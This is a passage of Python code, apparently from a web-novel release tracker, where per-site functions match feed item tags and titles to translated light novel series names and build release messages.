		return buildReleaseMessage(item, 'Virtual World: Unparalleled under the Sky', vol, chp, frag=frag, postfix=postfix)
	if 'Ze Tian Ji' in item['tags'] or 'ZTJ Chapter' in item['title']:
		return buildReleaseMessage(item, 'Ze Tian Ji', vol, chp, frag=frag, postfix=postfix)
	if 'The Strongest Dan God' in item['tags']:
		return buildReleaseMessage(item, 'The Strongest Dan God', vol, chp, frag=frag, postfix=postfix)
	if 'Scriptures of the Great Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Scriptures of the Great Emperor', vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
# '桜翻訳! | Light novel translations'
####################################################################################################################################################
def extractSakurahonyaku(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'hyouketsu kyoukai no eden' in item['tags']:
		return buildReleaseMessage(item, 'Hyouketsu Kyoukai no Eden', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractRancer(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Strongest Magical Beast' in item['tags'] and 'Chapter Release' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'The Strongest Magical Beast', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	if 'Apocalypse ЯR' in item['tags'] and 'Chapter Release' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Apocalypse ЯR', vol, chp, frag=frag, postfix=postfix)
	if 'Legend of Xing Feng' in item['tags']:
		return buildReleaseMessage(item, 'Legend of Xingfeng', vol, chp, frag=frag, postfix=postfix)
	if 'The Exceptional Godly Thief-The Good for Nothing Seventh Young Lady' in item['tags']:
		return buildReleaseMessage(item, 'The Good for Nothing Seventh Young Lady', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractRadiantTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Heavenly Calamity' in item['tags']:
		return buildReleaseMessage(item, 'Heavenly Calamity', vol, chp, frag=frag, postfix=postfix)
	if 'Magic Chef of Ice and Fire' in item['tags']:
		return buildReleaseMessage(item, 'Magic Chef of Ice and Fire', vol, chp, frag=frag, postfix=postfix)
	if 'The Legend of the Dragon King' in item['tags']:
		return buildReleaseMessage(item, 'The Legend of the Dragon King', vol, chp, frag=frag, postfix=postfix)
	if 'Zither Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Zither Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'Radiant Era' in item['tags']:
		return buildReleaseMessage(item, 'Radiant Era', vol, chp, frag=frag, postfix=postfix)
	if 'Lord Xue Ying' in item['tags']:
		return buildReleaseMessage(item, 'Xue Ying Ling Zhu', vol, chp, frag=frag, postfix=postfix)
	if 'Chapter Release' in item['tags']:
		if 'Child of Light' in item['tags'] or 'Guang Zhi Zi' in item['tags']:
			return buildReleaseMessage(item, 'Guang Zhi Zi', vol, chp, frag=frag, postfix=postfix)
		if 'Bing Huo Mo Chu' in item['tags'] or 'Magic Chef of Ice and Fire' in item['tags']:
			return buildReleaseMessage(item, 'Bing Huo Mo Chu', vol, chp, frag=frag, postfix=postfix)
		if 'The Legend of the Dragon King' in item['tags']:
			return buildReleaseMessage(item, 'Xue Ying Ling Zhu', vol, chp, frag=frag, postfix=postfix)
		if 'Tempest of the Stellar War' in item['tags']:
			return buildReleaseMessage(item, 'Tempest of the Stellar War', vol, chp, frag=frag, postfix=postfix)
		if ('dragon marked war god' in item['title'].lower().replace("-", " ") or
				'dmwg' in item['title'].lower() or
				'Dragon Marked War God' in item['tags']):
			return buildReleaseMessage(item, 'Dragon-Marked War God', vol, chp, frag=frag, postfix=postfix)
		if 'beseech the devil' in item['title'].lower():
			return buildReleaseMessage(item, 'Beseech the Devil', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTalesOfMU(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if any('volume' in tag.lower() for tag in item['tags']) and (chp or vol):
		return buildReleaseMessage(item, 'Tales of MU', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractPeasKingdom(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	ltags = [tmp.lower() for tmp in item['tags']]
	if 'second chance' in ltags and (chp or vol):
		return buildReleaseMessage(item, 'Second Chance: a Wonderful New Life', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSolitaryTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Great Ruler' in item['tags']:
		return buildReleaseMessage(item, 'The Great Ruler', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractThyaeria(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Tales of Demons and Gods' in item['tags']:
		return buildReleaseMessage(item, 'Tales of Demons and Gods', vol, chp, frag=frag, postfix=postfix)
	if 'Warlock of the Magus World' in item['tags']:
		return buildReleaseMessage(item, 'Warlock of the Magus World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractPlaceOfLegends(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Fragile Monster Lord' in item['tags']:
		return buildReleaseMessage(item, 'The Fragile Monster Lord', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The New Start' in item['tags']:
		return buildReleaseMessage(item, 'The New Start', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'The Rude Time Stopper' in item['tags']:
		return buildReleaseMessage(item, 'The Rude Time Stopper', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractShinsori(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Doll Dungeon' in item['title']:
		return buildReleaseMessage(item, 'Doll Dungeon', vol, chp, frag=frag, postfix=postfix)
	if 'Levelmaker –' in item['title']:
		return buildReleaseMessage(item, 'Levelmaker -Raising Levels While Living in Another World-', vol, chp, frag=frag, postfix=postfix)
	if 'Isekai Tensei Harem' in item['title']:
		return buildReleaseMessage(item, 'Isekai Tensei Harem', vol, chp, frag=frag, postfix=postfix)
	if 'Undead Seeks Warmth' in item['title']:
		return buildReleaseMessage(item, 'Undead Seeks Warmth', vol, chp, frag=frag, postfix=postfix)
	if 'Raising Slaves in Another World While on a Journey' in item['title']:
		return buildReleaseMessage(item, 'Raising Slaves in Another World While on a Journey', vol, chp, frag=frag, postfix=postfix)
	if 'Occupation: Adventurer ; Race: Various' in item['title'] or 'Race: Various' in item['tags']:
		return buildReleaseMessage(item, 'Occupation: Adventurer ; Race: Various', vol, chp, frag=frag, postfix=postfix)
	if 'Yuusha ga onna da to dame desu ka?' in item['title']:
		return buildReleaseMessage(item, 'Yuusha ga onna da to dame desu ka?', vol, chp, frag=frag, postfix=postfix)
	if 'The Bears Bear a Bare Kuma' in item['title'] or 'Kuma Kuma Kuma Bear' in item['title']:
		return buildReleaseMessage(item, 'Kuma Kuma Kuma Bear', vol, chp, frag=frag, postfix=postfix)

	if 'Charmed?' in item['title']:
		return buildReleaseMessage(item, 'Charmed?', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Silver Death' in item['title']:
		return buildReleaseMessage(item, 'Silver Death', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSoaring(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	# If you release "teaser" chapters, you're a douche
	if "teaser" in item['title'].lower():
		return False

	if 'Limitless Sword God Chapter' in item['title'] or 'Limitless Sword God' in item['tags'] or 'LSG' in item['tags']:
		return buildReleaseMessage(item, 'Limitless Sword God', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSoraTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "teaser" in item['title'].lower():
		return False

	if 'Isekai Mahou....' in item['tags']:
		return buildReleaseMessage(item, 'Isekai Mahou wa Okureteru!', vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTotallyInsaneTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "PMG" in item['tags']:
		return buildReleaseMessage(item, "Peerless Martial God", vol, chp, frag=frag, postfix=postfix)
	if 'DtH' in item['tags']:
		return buildReleaseMessage(item, "Devouring The Heavens", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTrungtNguyen(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Underdog Versus Boss' in item['tags']:
		return buildReleaseMessage(item, 'Underdog Versus Boss', vol, chp, frag=frag, postfix=postfix)
	if 'Xiao Qi Wait' in item['tags']:
		return buildReleaseMessage(item, 'Xiao Qi Wait', vol, chp, frag=frag, postfix=postfix)
	if 'Beloved Little Treasure' in item['tags']:
		return buildReleaseMessage(item, 'Beloved Little Treasure', vol, chp, frag=frag, postfix=postfix)
	if 'Real Fake Fiance' in item['tags']:
		return buildReleaseMessage(item, 'Real Fake Fiance', vol, chp, frag=frag, postfix=postfix)
	if 'Demoness Go See The Emperor' in item['tags']:
		return buildReleaseMessage(item, 'Demoness Go See The Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'The Reluctant Bride Book I' in item['tags']:
		if not vol:
			vol = 1
		return buildReleaseMessage(item, 'The Reluctant Bride Book I', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTaffyTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'CCM' in item['tags']:
		return buildReleaseMessage(item, 'Close Combat Mage', vol, chp, frag=frag, postfix=postfix)
	if 'CC' in item['tags']:
		return buildReleaseMessage(item, 'Cheating Craft', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOneManArmy(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "DBWG – Chapter" in item['title'] or 'Dragon-Blooded War God' in item['tags']:
		return buildReleaseMessage(item, 'Dragon-Blooded War God', vol, chp, frag=frag, postfix=postfix)
	if 'Warlock of the Magus World' in item['tags']:
		return buildReleaseMessage(item, 'Warlock of the Magus World', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOKTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Oyaji Kanojo' in item['tags']:
		return buildReleaseMessage(item, 'Oyaji Kanojo', vol, chp, frag=frag, postfix=postfix)
	return False


####################################################################################################################################################
#
####################################################################################################################################################
def extractUltimateArcane(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Isekai ni kanaderu densetsu ~toki wo tomeru mono~' in item['tags']:
		return buildReleaseMessage(item, 'Isekai ni kanaderu densetsu ~toki wo tomeru mono~', vol, chp, frag=frag, postfix=postfix)
	if 'JIKUU MAHOU DE ISEKAI TO CHIKYUU WO ITTARIKITARI' in item['tags']:
		return buildReleaseMessage(item, 'Jikuu Mahou de Isekai to Chikyuu wo ittarikitari', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractRainbowTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Myriad of Shades' in item['tags']:
		return buildReleaseMessage(item, 'Myriad of Shades', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOmgitsaray(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "chapter" in item['title'].lower():
		return buildReleaseMessage(item, '9 Heavenly Thunder Manual', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractReddyCreations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "rigel" in item['title'].lower():
		return buildReleaseMessage(item, 'Rigel', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	else:
		return buildReleaseMessage(item, 'Riddick/ Against the Heavens', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractShinSekaiYori(item):
	'''

	'''

	chStr = ""
	for tag in item['tags']:
		if "chapter" in tag.lower():
			chStr = chStr + " " + tag

	chStr += " " + item['title']

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(chStr)
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if frag:
		frag = frag / 10

	return buildReleaseMessage(item, 'Shin Sekai yori', vol, chp, frag=frag, postfix=postfix)



####################################################################################################################################################
#
####################################################################################################################################################
def extractPrinceRevolution(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Romance RPG' in item['tags'] :
		return buildReleaseMessage(item, 'Romance RPG', vol, chp, frag=frag, postfix=postfix)
	if 'The Legend of Sun Knight' in item['tags'] :
		return buildReleaseMessage(item, 'The Legend of Sun Knight', vol, chp, frag=frag, postfix=postfix)
	if 'Dominions End' in item['tags'] :
		return buildReleaseMessage(item, 'Dominions End', vol, chp, frag=frag, postfix=postfix)
	if '½ Prince' in item['tags'] :
		return buildReleaseMessage(item, '½ Prince', vol, chp, frag=frag, postfix=postfix)
	if 'killvsprince' in item['tags'] :
		return buildReleaseMessage(item, 'Kill No More VS 1/2 Prince', vol, chp, frag=frag, postfix=postfix)
	if 'Illusions-Lies-Truth' in item['tags'] :
		return buildReleaseMessage(item, 'Illusions, Lies, Truth', vol, chp, frag=frag, postfix=postfix)
	if 'No Hero' in item['tags'] :
		return buildReleaseMessage(item, 'No Hero', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractUntunedTranslation(item):
	'''

	'''
	title = item['title'].replace(" III(", " vol 3 (") \
		.replace(" III:",                  " vol 3:") \
		.replace(" II:",                   " vol 2:") \
		.replace(" I:",                    " vol 1:") \
		.replace(" IV:",                   " vol 4:") \
		.replace(" V:",                    " vol 5:")

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(title)
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'meg and seron' in item['tags'] and chp and vol:
		return buildReleaseMessage(item, 'Meg and Seron', vol, chp, frag=frag, postfix=postfix)

	if 'lillia and treize' in item['tags'] and chp and vol:
		return buildReleaseMessage(item, 'Lillia to Treize', vol, chp, frag=frag, postfix=postfix)


	# TODO: Needs the facility to parse roman numerals!

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractRumorsBlock(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if "Rumor's Block" in item['tags'] and "chapter" in item['title'].lower():
		return buildReleaseMessage(item, "Rumor's Block", vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTwistedCogs(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if '–' in item['title']:
		postfix = item['title'].split('–', 1)[-1].strip()

	if "smut" in item['title'].lower():
		return buildReleaseMessage(item, 'Twisted Smut', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return buildReleaseMessage(item, 'Twisted Cogs', vol, chp, frag=frag, postfix=postfix, tl_type='oel')


####################################################################################################################################################
#
####################################################################################################################################################
def extractReantoAnna(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Only I am not attacked in a world over runned by zombies' in item['tags'] or \
		("Chapter" in item['title'] and len(item['tags']) == 1 and 'Uncategorized' in item['tags']):
		return buildReleaseMessage(item, 'Only I am not attacked in a world overflowing with zombies', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSubudai11(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Mai Kitsune Waifu Chapter' in item['title'] :
		return buildReleaseMessage(item, 'My Fox Immortal Wife', vol, chp, frag=frag, postfix=postfix)
	if 'My Beautiful Teacher Chapter' in item['title'] :
		return buildReleaseMessage(item, 'My Beautiful Teacher', vol, chp, frag=frag, postfix=postfix)
	if 'Awakening – 仿如昨日' in item['title'] :
		return buildReleaseMessage(item, 'Awakening – 仿如昨日', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOneSecondSpring(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'The Princess Who Cannot Marry' in item['tags'] :
		return buildReleaseMessage(item, 'The Princess Who Cannot Marry', vol, chp, frag=frag, postfix=postfix)
	if 'Heavy Sweetness Ash-like Frost' in item['tags'] :
		return buildReleaseMessage(item, 'Heavy Sweetness Ash-like Frost', vol, chp, frag=frag, postfix=postfix)
	if 'Our Second Master' in item['tags'] :
		return buildReleaseMessage(item, 'Our Second Master', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTranslationRaven(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Godly Hunter' in item['tags'] :
		return buildReleaseMessage(item, 'Godly Hunter', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractRoxism(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Bocchi Tenseiki' in item['tags'] and "chapter" in item['title'].lower():
		return buildReleaseMessage(item,  'Bocchi Tenseiki', vol, chp, frag=frag, postfix=postfix)
	if 'Seirei Gensouki ~Konna Sekai de Deaeta Kimi ni~' in item['tags'] and "chapter" in item['title'].lower():
		return buildReleaseMessage(item,  'Seirei Gensouki ~Konna Sekai de Deaeta Kimi ni~', vol, chp, frag=frag, postfix=postfix)
	if 'DHM' in item['tags'] and "chapter" in item['title'].lower():
		return buildReleaseMessage(item,  'Dungeon+Harem+Master', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSilvasLibrary(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "Silva's Diary - Zero no Tsukaima" in item['tags'] :
		return buildReleaseMessage(item, "Silva's Diary - Zero no Tsukaima", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'God of Destruction' in item['tags'] :
		return buildReleaseMessage(item, 'God of Destruction', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'God of Chaos' in item['tags'] :
		return buildReleaseMessage(item, 'God of Chaos', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'My Path of Justice' in item['tags'] or 'MPJ1' in item['tags']:
		return buildReleaseMessage(item, 'My Path of Justice', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Truth and Myths' in item['tags'] :
		return buildReleaseMessage(item, 'Truth and Myths', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Soft Spoken Brutality' in item['tags'] :
		return buildReleaseMessage(item, 'Soft Spoken Brutality', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'World of Immortals' in item['tags'] :
		return buildReleaseMessage(item, 'World of Immortals', vol, chp, frag=frag, postfix=postfix)
	if 'Bu ni mi' in item['tags'] :
		return buildReleaseMessage(item, 'Bu ni mi', vol, chp, frag=frag, postfix=postfix)
	if 'Rinkan no Madoushi' in item['tags'] :
		return buildReleaseMessage(item, 'Rinkan no Madoushi', vol, chp, frag=frag, postfix=postfix)
	if 'Arifureta' in item['tags'] :
		return buildReleaseMessage(item, 'Arifureta Shokugyou de Sekai Saikyou', vol, chp, frag=frag, postfix=postfix)
	if 'High Comprehension Low Strength' in item['tags'] :
		return buildReleaseMessage(item, 'High Comprehension Low Strength', vol, chp, frag=frag, postfix=postfix)
	if 'Martial Void King' in item['tags'] :
		return buildReleaseMessage(item, 'Martial Void King', vol, chp, frag=frag, postfix=postfix)
	if 'Very Pure and Ambiguous' in item['tags'] :
		return buildReleaseMessage(item, 'Very Pure and Ambiguous: The Prequel', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOriginNovels(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if '–' in item['title']:
		postfix = item['title'].split("–")[-1]
	if 'True Identity' in item['tags'] :
		return buildReleaseMessage(item, 'True Identity', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractOutspanFoster(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if "Chapter" in item['tags'] and 'ascension' in item['tags'] :
		return buildReleaseMessage(item, 'The Ascension Chronicle', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTsukigomori(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag):
		return False

	if 'Our Glamorous Time' in item['tags']:
		return buildReleaseMessage(item, 'Our Glamorous Time', vol, chp, frag=frag, postfix=postfix)
	if 'Same Place Not Same Bed' in item['tags']:
		return buildReleaseMessage(item, 'Same Place Not Same Bed', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSutekiDaNe(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Can I Not Marry?' in item['tags']:
		return buildReleaseMessage(item, 'Can I Not Marry? / Days of Cohabitation with the President', vol, chp, frag=frag, postfix=postfix)
	if "Black Bellied Prince's Stunning Abandoned Consort" in item['tags']:
		return buildReleaseMessage(item, "Black Bellied Prince's Stunning Abandoned Consort", vol, chp, frag=frag, postfix=postfix)


	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractSilentTl(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Legend' in item['tags']:
		return buildReleaseMessage(item, "Legend", vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractTranslatingZeTianJi(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	return buildReleaseMessage(item, "Ze Tian Ji ", vol, chp, frag=frag, postfix=postfix)



####################################################################################################################################################
#
####################################################################################################################################################
def extractSoojikisProject(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Weakest Skeleton' in item['tags'] or 'Home page' in item['tags']:
		return buildReleaseMessage(item, 'Kurasu marugoto jingai tensei -Saijyaku no sukeruton ni natta ore-', vol, chp, frag=frag, postfix=postfix)
	if 'Reincarnated as a Villager' in item['tags']:
		return buildReleaseMessage(item, 'Reincarnated as a Villager ~ Strongest Slow-life', vol, chp, frag=frag, postfix=postfix)
	if 'Yandere?' in item['tags'] and 'Weapons' in item['tags']:
		return buildReleaseMessage(item, 'Myself, weapons, and Yandere', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractProjectAccelerator(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Black Healer' in item['tags']:
		return buildReleaseMessage(item, 'Black Healer', vol, chp, frag=frag, postfix=postfix)
	return False










def extractPrideXReVamp(item):
	'''
	# 'Pride X ReVamp'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractRaisingAngelsDefection(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractProcrasTranslation(item):
	'''
	#'ProcrasTranslation'
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if 'Slowlife' in item['tags']:
		return buildReleaseMessage(item, 'Tensei Shite Inaka de Slowlife wo Okuritai', vol, chp, frag=frag, postfix=postfix)
	return False


def extractPeaTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractPekaboBlog(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTerminusTranslation(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractTaint(item):
	'''

	'''
	titletmp = item['title'] + " ".join(item['tags'])
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(titletmp)

	if not (chp or vol or frag) and not "preview" in item['title']:
		return False

	if 'Chapter Release' in item['tags'] and 'Taint' in item['tags'] and 'Main Story' in item['tags']:
		return buildReleaseMessage(item, 'Taint', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Chapter Release' in item['tags'] and 'Taint' in item['tags'] and 'Side Story' in item['tags']:
		postfix = "Side Story"
		return buildReleaseMessage(item, 'Taint', vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	return False

####################################################################################################################################################
#
####################################################################################################################################################

def extractUselessno4(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('Skeleton Knight '):
		return buildReleaseMessage(item, 'Skeleton Knight, in another world', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('1000 hugs '):
		return buildReleaseMessage(item, '1000 nin no Homunkurusu no Shoujo tachi ni Kakomarete Isekai Kenkoku', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith('Paladin '):
		extract = re.search(r'(\d+)\-(\d+)', item['title'], re.IGNORECASE)
		if extract and not frag:
			chp  = int(extract.group(1))
			frag = int(extract.group(2))
		return buildReleaseMessage(item, 'Paladin of the End', vol, chp, frag=frag, postfix=postfix)
	return False

def extractPettankoTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	if item['title'].startswith('Isekai C-mart Hanjouki'):
		return buildReleaseMessage(item, 'Isekai C-mart Hanjouki', vol, chp, frag=frag, postfix=postfix)
	return False

def extractQualityMistranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None
	return False

def extractShell2lyCNovelSite(item):
	'''
	# 'Shell2ly C-Novel Site'
	'''
